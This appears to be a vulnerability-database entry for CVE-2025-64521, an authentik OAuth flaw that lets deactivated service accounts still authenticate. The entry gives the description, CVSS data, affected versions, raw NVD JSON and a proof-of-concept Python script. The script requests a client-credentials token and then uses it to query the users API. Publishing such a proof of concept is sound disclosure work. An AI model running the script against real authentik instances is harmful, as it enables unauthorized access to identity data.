Security Vulnerability Report
中文
CVE-2025-64521 CVSS 4.8 MEDIUM

CVE-2025-64521

Published: 2025-11-19 17:15:52
Last Modified: 2025-11-20 18:56:52

Description

authentik is an open-source Identity Provider. Prior to versions 2025.8.5 and 2025.10.2, when authenticating with client_id and client_secret to an OAuth provider, authentik creates a service account for the provider. In previous authentik versions, authentication for this account was possible even when the account was deactivated. Other permissions are correctly applied and federation with other providers still take assigned policies correctly into account. authentik versions 2025.8.5 and 2025.10.2 fix this issue. A workaround involves adding a policy to the application that explicitly checks if the service account is still valid, and deny access if not.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:goauthentik:authentik:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:goauthentik:authentik:*:*:*:*:*:*:*:* - VULNERABLE
authentik < 2025.8.5
authentik < 2025.10.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-64521 PoC - Authentik OAuth Service Account Authentication Bypass # This PoC demonstrates how a deactivated service account can still authenticate BASE_URL = "https://your-authentik-instance.com" CLIENT_ID = "your-client-id" # OAuth client ID CLIENT_SECRET = "your-client-secret" # OAuth client secret def check_account_status(): """Check if the service account is deactivated but can still authenticate""" # Step 1: Attempt OAuth token request with deactivated service account token_url = f"{BASE_URL}/application/o/token/" payload = { "grant_type": "client_credentials", "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET } print("[*] Attempting OAuth authentication with potentially deactivated service account...") print(f"[*] Target: {token_url}") try: response = requests.post(token_url, data=payload, timeout=10) if response.status_code == 200: token_data = response.json() print("[!] VULNERABLE: Authentication successful despite account deactivation!") print(f"[!] Access Token: {token_data.get('access_token', '')[:50]}...") print(f"[!] Token Type: {token_data.get('token_type', '')}") print(f"[!] Expires In: {token_data.get('expires_in', '')} seconds") # Step 2: Use the token to access protected resources verify_url = f"{BASE_URL}/api/v3/users/" headers = {"Authorization": f"Bearer {token_data.get('access_token')}"} verify_response = requests.get(verify_url, headers=headers) if verify_response.status_code == 200: print("[!] Successfully accessed protected resources with deactivated account!") return True else: print(f"[*] Authentication failed with status code: {response.status_code}") print(f"[*] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-64521 - Authentik OAuth Service Account Bypass PoC") print("=" * 60) check_account_status()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64521", "sourceIdentifier": "[email protected]", "published": "2025-11-19T17:15:52.033", "lastModified": "2025-11-20T18:56:52.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "authentik is an open-source Identity Provider. Prior to versions 2025.8.5 and 2025.10.2, when authenticating with client_id and client_secret to an OAuth provider, authentik creates a service account for the provider. In previous authentik versions, authentication for this account was possible even when the account was deactivated. Other permissions are correctly applied and federation with other providers still take assigned policies correctly into account. authentik versions 2025.8.5 and 2025.10.2 fix this issue. A workaround involves adding a policy to the application that explicitly checks if the service account is still valid, and deny access if not."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-289"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:goauthentik:authentik:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.8.0", "versionEndExcluding": "2025.8.5", "matchCriteriaId": "5F21EB7E-BB70-4943-9906-475C772482E9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goauthentik:authentik:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.10.0", "versionEndExcluding": "2025.10.2", "matchCriteriaId": "33A96DEB-01A3-42C1-B17B-A6F65CBA55C0"}]}]}], "references": [{"url": "https://github.com/goauthentik/authentik/commit/9dbdfc3f1be0f1be36f8efce2442897b2a54a71c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/goauthentik/authentik/security/advisories/GHSA-xr73-jq5p-ch8r", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}]}}